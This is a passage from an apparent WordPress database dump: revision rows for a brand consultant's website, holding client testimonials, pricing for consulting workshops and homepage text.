on-budget!”\r\n\r\n<em>David Barella,</em>\r\n<em> Senior Vice President, Global Marketing, </em>\r\n<em>Coapt Systems, Inc.</em>', 'What clients say about working with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '3060-revision-v1', '', '', '2015-10-09 15:28:07', '2015-10-09 22:28:07', '', 3060, 'http://whc.fbdev.org/2015/10/3060-revision-v1/', 0, 'revision', '', 0),
(3099, 2, '2015-10-09 15:30:18', '2015-10-09 22:30:18', '<h2>Serving clients in diverse industry categories.</h2>\r\n<h2 id="stcpDiv"><img class="alignnone size-full wp-image-3093" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Project-Image.jpg" alt="Consulting Clients" width="680" height="406" /></h2>\r\n<h2>I contribute my expertise to increase your capabilities, improve your effectiveness, and help you make confident decisions about the strategic and creative aspects of creating competitive advantage in your business.</h2>\r\n<div>“Our company was in need of a complete image overhaul to position our business for the future! Thomson, worked with us to craft a solution that not only was highly marketable, creative and attractive, but also something that fit our company culture like a glove. Thomson has an amazing ability to visualize, analyze, watch, listen and ask the right questions. My clients absolutely love the results! I highly recommend him”.</div>\r\n<div></div>\r\n<div><em>Jeff Lipis,\r\n</em><em>Managing Partner PRJ Consulting\r\n</em><em>Technology Provider</em></div>\r\n“When faced with the need for an informed opinion and advice related to brand development, I call Thomson Dawson. When you combine great depth of experience, a vision that''s far ahead of most in our industry and disciplined thinking with a can do positive attitude, the result is always positive. Highly recommended if you want to get ahead and stay ahead”.\r\n\r\n<em>Marc Romano</em>\r\n<em>Managing Partner, FirstPrinciple</em>\r\n<em>Business Services</em>\r\n\r\n“We had the pleasure of working with Thomson on a variety of projects. Most recently as the Chief Operating Officer of a new start-up venture, Thomson brought his professionalism and creative expertise in brand messaging to craft a new identity for our business. Our team went through his strategic workshop and the final results exceeded our expectations!”\r\n\r\n<em>Grant Lepper</em>\r\n<em>Chief Operating Officer, Local Market Launch, Inc.</em>\r\n<em>Internet Technology, Business Services</em>\r\n\r\n“With a new venture in the wings we were looking for a strategy and identity in the marketplace that would set us up as a step above the rest. From the first workshop until the final hand-off of our assets, Thomson delivered on every level. The creative work and guidance he created was spot on for our niche. The strategy for bringing our brand to the world was extraordinary. I can''t recommend Thomson enough.\r\n\r\n<em>Joe Bruzzese</em>\r\n<em>Founder and CEO, Sprigeo, LLC</em>\r\n<em>Technology Startup, Educational Services</em>\r\n\r\n"My business partner and I worked with Thomson on what would become a critical strategic move for our business – identifying our true brand position and out of that developing and implementing a new name for our business. Thomson helped guide us through an incredibly enlightening, effective, and inspiring brand positioning workshop which would perfectly set the foundation for not only the development of our new name, but also the next decade for our business. Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. Thomson didn’t tell us who we should be or where we should go. Even better, he guided us along a path that helped us discover that our direction and purpose had been there all along, we just needed someone to help us reveal it.”\r\n\r\n<em>Pete Houlihan</em>\r\n<em>CEO, Brightformat, Inc.</em>\r\n<em>Business Services</em>\r\n\r\n“Working with Thomson on our strategic brand development initiative for ThedaCare was a colossal undertaking. Our system includes five metropolitan hospitals, and a variety of physician clinics. Throughout the workshop process, Thomson built instant rapport and trust with our team and guided the creative direction of a new corporate identity program designed and approved by our senior leadership team in less than six months.”\r\n\r\n<em>MJ Beckman</em>\r\n<em>Senior Leader, Marketing Communications</em>\r\n<em>ThedaCare Inc.</em>\r\n<em>Healthcare System</em>\r\n\r\n“Thomson was recommended to me by a colleague and helped our marketing team create the face of two new brands. He quickly understood the market demographic, and our goals, and worked extremely well with the team to meet our requirements and very tight deadlines. We loved the creative results and were complimented on a regular basis by our physician customers (and Reps) on the quality, style and content of marketing communication programs. I recommend Thomson and look forward to working with him again.\r\n\r\n<em>Madeleine Lyell</em>\r\n<em>Senior Leader, Product Manager</em>\r\n<em>Coapt Systems, Inc.</em>\r\n<em>Medical Devices</em>\r\n\r\n“Thomson did an excellent job of guiding our marketing team through the strategic positioning and creative development process for our recent Hydrelle product launch. Thomson’s contributions to our success were exceptional. More importantly, on a very tight implementation schedule, his creative team delivered all our market launch communications materials on-time and on-budget!”\r\n\r\n<em>David Barella,</em>\r\n<em> Senior Vice President, Global Marketing, </em>\r\n<em>Coapt Systems, Inc.</em>', 'What clients say about working with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '3060-revision-v1', '', '', '2015-10-09 15:30:18', '2015-10-09 22:30:18', '', 3060, 'http://whc.fbdev.org/2015/10/3060-revision-v1/', 0, 'revision', '', 0);
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(3129, 2, '2015-10-13 09:24:29', '2015-10-13 16:24:29', '<h2>Serving clients in diverse industry categories.</h2>\r\n<h2 id="stcpDiv"><img class="alignnone size-full wp-image-3093" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Project-Image.jpg" alt="Consulting Clients" width="680" height="406" /></h2>\r\n<h2>I contribute my expertise to increase your capabilities, improve your effectiveness, and help you make confident decisions about the strategic and creative aspects of creating competitive advantage in your business.</h2>\r\n<div>“Our company was in need of a complete image overhaul to position our business for the future! Thomson, worked with us to craft a solution that not only was highly marketable, creative and attractive, but also something that fit our company culture like a glove. Thomson has an amazing ability to visualize, analyze, watch, listen and ask the right questions. My clients absolutely love the results! I highly recommend him”.</div>\r\n<em>Jeff Lipis,\r\n</em><em>Managing Partner PRJ Consulting\r\n</em><em>Technology Provider</em>\r\n<div></div>\r\n<div>“When faced with the need for an informed opinion and advice related to brand development, I call Thomson Dawson. When you combine great depth of experience, a vision that''s far ahead of most in our industry and disciplined thinking with a can do positive attitude, the result is always positive. Highly recommended if you want to get ahead and stay ahead”.</div>\r\n<em>Marc Romano</em>\r\n<em>Managing Partner, FirstPrinciple</em>\r\n<em>Business Services</em>\r\n\r\n“We had the pleasure of working with Thomson on a variety of projects. Most recently as the Chief Operating Officer of a new start-up venture, Thomson brought his professionalism and creative expertise in brand messaging to craft a new identity for our business. Our team went through his strategic workshop and the final results exceeded our expectations!”\r\n\r\n<em>Grant Lepper</em>\r\n<em>Chief Operating Officer, Local Market Launch, Inc.</em>\r\n<em>Internet Technology, Business Services</em>\r\n\r\n“With a new venture in the wings we were looking for a strategy and identity in the marketplace that would set us up as a step above the rest. From the first workshop until the final hand-off of our assets, Thomson delivered on every level. The creative work and guidance he created was spot on for our niche. The strategy for bringing our brand to the world was extraordinary. I can''t recommend Thomson enough.\r\n\r\n<em>Joe Bruzzese</em>\r\n<em>Founder and CEO, Sprigeo, LLC</em>\r\n<em>Technology Startup, Educational Services</em>\r\n\r\n"My business partner and I worked with Thomson on what would become a critical strategic move for our business – identifying our true brand position and out of that developing and implementing a new name for our business. Thomson helped guide us through an incredibly enlightening, effective, and inspiring brand positioning workshop which would perfectly set the foundation for not only the development of our new name, but also the next decade for our business. Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. Thomson didn’t tell us who we should be or where we should go. Even better, he guided us along a path that helped us discover that our direction and purpose had been there all along, we just needed someone to help us reveal it.”\r\n\r\n<em>Pete Houlihan</em>\r\n<em>CEO, Brightformat, Inc.</em>\r\n<em>Business Services</em>\r\n\r\n“Working with Thomson on our strategic brand development initiative for ThedaCare was a colossal undertaking. Our system includes five metropolitan hospitals, and a variety of physician clinics. Throughout the workshop process, Thomson built instant rapport and trust with our team and guided the creative direction of a new corporate identity program designed and approved by our senior leadership team in less than six months.”\r\n\r\n<em>MJ Beckman</em>\r\n<em>Senior Leader, Marketing Communications</em>\r\n<em>ThedaCare Inc.</em>\r\n<em>Healthcare System</em>\r\n\r\n“Thomson was recommended to me by a colleague and helped our marketing team create the face of two new brands. He quickly understood the market demographic, and our goals, and worked extremely well with the team to meet our requirements and very tight deadlines. We loved the creative results and were complimented on a regular basis by our physician customers (and Reps) on the quality, style and content of marketing communication programs. I recommend Thomson and look forward to working with him again.\r\n\r\n<em>Madeleine Lyell</em>\r\n<em>Senior Leader, Product Manager</em>\r\n<em>Coapt Systems, Inc.</em>\r\n<em>Medical Devices</em>\r\n\r\n“Thomson did an excellent job of guiding our marketing team through the strategic positioning and creative development process for our recent Hydrelle product launch. Thomson’s contributions to our success were exceptional. More importantly, on a very tight implementation schedule, his creative team delivered all our market launch communications materials on-time and on-budget!”\r\n\r\n<em>David Barella,</em>\r\n<em> Senior Vice President, Global Marketing, </em>\r\n<em>Coapt Systems, Inc.</em>', 'What clients say about working with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '3060-revision-v1', '', '', '2015-10-13 09:24:29', '2015-10-13 16:24:29', '', 3060, 'http://whc.fbdev.org/2015/10/3060-revision-v1/', 0, 'revision', '', 0),
(3100, 2, '2015-10-09 15:36:09', '2015-10-09 22:36:09', '<h2>Serving clients in diverse industry categories.</h2>\r\n<h2 id="stcpDiv"><img class="alignnone size-full wp-image-3093" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Project-Image.jpg" alt="Consulting Clients" width="680" height="406" /></h2>\r\n<h2>I contribute my expertise to increase your capabilities, improve your effectiveness, and help you make confident decisions about the strategic and creative aspects of creating competitive advantage in your business.</h2>\r\n<div>“Our company was in need of a complete image overhaul to position our business for the future! Thomson, worked with us to craft a solution that not only was highly marketable, creative and attractive, but also something that fit our company culture like a glove. Thomson has an amazing ability to visualize, analyze, watch, listen and ask the right questions. My clients absolutely love the results! I highly recommend him”.</div>\r\n<div></div>\r\n<div><em>Jeff Lipis,\r\n</em><em>Managing Partner PRJ Consulting\r\n</em><em>Technology Provider</em></div>\r\n<div></div>\r\n<div>“When faced with the need for an informed opinion and advice related to brand development, I call Thomson Dawson. When you combine great depth of experience, a vision that''s far ahead of most in our industry and disciplined thinking with a can do positive attitude, the result is always positive. Highly recommended if you want to get ahead and stay ahead”.</div>\r\n<em>Marc Romano</em>\r\n<em>Managing Partner, FirstPrinciple</em>\r\n<em>Business Services</em>\r\n\r\n“We had the pleasure of working with Thomson on a variety of projects. Most recently as the Chief Operating Officer of a new start-up venture, Thomson brought his professionalism and creative expertise in brand messaging to craft a new identity for our business. Our team went through his strategic workshop and the final results exceeded our expectations!”\r\n\r\n<em>Grant Lepper</em>\r\n<em>Chief Operating Officer, Local Market Launch, Inc.</em>\r\n<em>Internet Technology, Business Services</em>\r\n\r\n“With a new venture in the wings we were looking for a strategy and identity in the marketplace that would set us up as a step above the rest. From the first workshop until the final hand-off of our assets, Thomson delivered on every level. The creative work and guidance he created was spot on for our niche. The strategy for bringing our brand to the world was extraordinary. I can''t recommend Thomson enough.\r\n\r\n<em>Joe Bruzzese</em>\r\n<em>Founder and CEO, Sprigeo, LLC</em>\r\n<em>Technology Startup, Educational Services</em>\r\n\r\n"My business partner and I worked with Thomson on what would become a critical strategic move for our business – identifying our true brand position and out of that developing and implementing a new name for our business. Thomson helped guide us through an incredibly enlightening, effective, and inspiring brand positioning workshop which would perfectly set the foundation for not only the development of our new name, but also the next decade for our business. Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. Thomson didn’t tell us who we should be or where we should go. Even better, he guided us along a path that helped us discover that our direction and purpose had been there all along, we just needed someone to help us reveal it.”\r\n\r\n<em>Pete Houlihan</em>\r\n<em>CEO, Brightformat, Inc.</em>\r\n<em>Business Services</em>\r\n\r\n“Working with Thomson on our strategic brand development initiative for ThedaCare was a colossal undertaking. Our system includes five metropolitan hospitals, and a variety of physician clinics. Throughout the workshop process, Thomson built instant rapport and trust with our team and guided the creative direction of a new corporate identity program designed and approved by our senior leadership team in less than six months.”\r\n\r\n<em>MJ Beckman</em>\r\n<em>Senior Leader, Marketing Communications</em>\r\n<em>ThedaCare Inc.</em>\r\n<em>Healthcare System</em>\r\n\r\n“Thomson was recommended to me by a colleague and helped our marketing team create the face of two new brands. He quickly understood the market demographic, and our goals, and worked extremely well with the team to meet our requirements and very tight deadlines. We loved the creative results and were complimented on a regular basis by our physician customers (and Reps) on the quality, style and content of marketing communication programs. I recommend Thomson and look forward to working with him again.\r\n\r\n<em>Madeleine Lyell</em>\r\n<em>Senior Leader, Product Manager</em>\r\n<em>Coapt Systems, Inc.</em>\r\n<em>Medical Devices</em>\r\n\r\n“Thomson did an excellent job of guiding our marketing team through the strategic positioning and creative development process for our recent Hydrelle product launch. Thomson’s contributions to our success were exceptional. More importantly, on a very tight implementation schedule, his creative team delivered all our market launch communications materials on-time and on-budget!”\r\n\r\n<em>David Barella,</em>\r\n<em> Senior Vice President, Global Marketing, </em>\r\n<em>Coapt Systems, Inc.</em>', 'What clients say about working with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '3060-revision-v1', '', '', '2015-10-09 15:36:09', '2015-10-09 22:36:09', '', 3060, 'http://whc.fbdev.org/2015/10/3060-revision-v1/', 0, 'revision', '', 0),
(3102, 2, '2015-10-09 15:43:45', '2015-10-09 22:43:45', '', 'WHC Workshop', 0, '', 'inherit', 'open', 'closed', '', 'whc-consulting-image', '', '', '2015-10-09 15:44:08', '2015-10-09 22:44:08', '', 3058, 'http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg', 0, 'attachment', 'image/jpeg', 0),
(3148, 2, '2015-10-13 11:38:14', '2015-10-13 18:38:14', '<h1>White Hot Center Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong><span style="color: #ff6600;">Power Session Jams</span>\r\n</strong>The 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" /></span>\r\n\r\n<strong><span style="color: #ff6600;">Strategic Brand Development Workshops</span>\r\n</strong>We offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop\r\n</em><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em>All our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures,and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\n<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series</strong></em>\r\n\r\n</div>', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 11:38:14', '2015-10-13 18:38:14', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3147, 2, '2015-10-13 11:37:23', '2015-10-13 18:37:23', '<h1>White Hot Center Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong><span style="color: #ff6600;">Power Session Jams</span>\r\n</strong>The 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" /></span>\r\n\r\n<strong><span style="color: #ff6600;">Strategic Brand Development Workshops</span>\r\n</strong>We offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop\r\n</em><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em></div>\r\n<div>\r\n<div id="stcpDiv">\r\n\r\nAll our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures,and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\n<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series</strong></em>\r\n\r\n</div>\r\n</div>', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 11:37:23', '2015-10-13 18:37:23', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3104, 2, '2015-10-09 15:50:00', '2015-10-09 22:50:00', '<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.My programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-09 15:50:00', '2015-10-09 22:50:00', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3103, 2, '2015-10-09 15:49:01', '2015-10-09 22:49:01', '<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.I can help you and your organization develop more focus to create new value for higher value customers and clients.</h2>', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-09 15:49:01', '2015-10-09 22:49:01', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3105, 2, '2015-10-09 15:50:10', '2015-10-09 22:50:10', '<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-09 15:50:10', '2015-10-09 22:50:10', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3106, 2, '2015-10-09 16:08:20', '2015-10-09 23:08:20', '<h1>White Hot Center Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-09 16:08:20', '2015-10-09 23:08:20', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3107, 1, '2015-10-09 16:18:23', '2015-10-09 23:18:23', '<img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" />\r\n<h2><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h2>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their next level of growth. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5–$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My White Hot Center Consulting Programs:</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs, I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs designed to elevate the quality of their presence in the marketplace.   </span>\r\n<h1><strong><span style="color: #000000;"><a href="http://whc.fbdev.org/consulting-programs/">Learn more about my consulting programs here.</a></span>\r\n</strong></h1>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg"><img class="alignnone size-full wp-image-3017" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" /></a>\r\n<h1><a href="http://whc.fbdev.org/what-clients-say/">What clients say about Thomson Dawson!</a></h1>\r\n<h2><span style="color: #ff6600;">If you have a business transformation challenge, let''s have a conversation to discuss how to help you achieve your desired outcomes.</span></h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-09 16:18:23', '2015-10-09 23:18:23', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(3108, 1, '2015-10-09 16:19:11', '2015-10-09 23:19:11', '<img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" />\r\n<h2><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h2>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their next level of growth. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5–$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My White Hot Center Consulting Programs:</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs, I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs designed to elevate the quality of their presence in the marketplace.   </span>\r\n<h1><strong><span style="color: #000000;"><a href="http://whc.fbdev.org/consulting-programs/">Learn more about my consulting programs here.</a></span>\r\n</strong></h1>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg"><img class="alignnone size-full wp-image-3017" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" /></a>\r\n<h1><a href="http://whc.fbdev.org/what-clients-say/">What clients say about Thomson Dawson!</a></h1>\r\n<h2><span style="color: #ff6600;">If you have a business transformation challenge, let''s have a conversation to discuss how to help you achieve your desired outcomes.</span></h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n<br />&nbsp;\r\n<br />&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-09 16:19:11', '2015-10-09 23:19:11', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(3118, 1, '2015-10-09 18:44:32', '2015-10-10 01:44:32', '<img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" />\r\n<h2><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h2>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their next level of growth. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5–$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My White Hot Center Consulting Programs:</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs, I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs designed to elevate the quality of their presence in the marketplace.   </span>\r\n<h1><span style="color: #000000;"><a href="http://whc.fbdev.org/consulting-programs/">Learn more about my consulting programs here.</a></span></h1>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg"><img class="alignnone size-full wp-image-3017" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" /></a>\r\n<h1><a href="http://whc.fbdev.org/what-clients-say/">What clients say about Thomson Dawson!</a></h1>\r\n<h2><span style="color: #ff6600;">If you have a business transformation challenge, let''s have a conversation to discuss how to help you achieve your desired outcomes.</span></h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-09 18:44:32', '2015-10-10 01:44:32', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
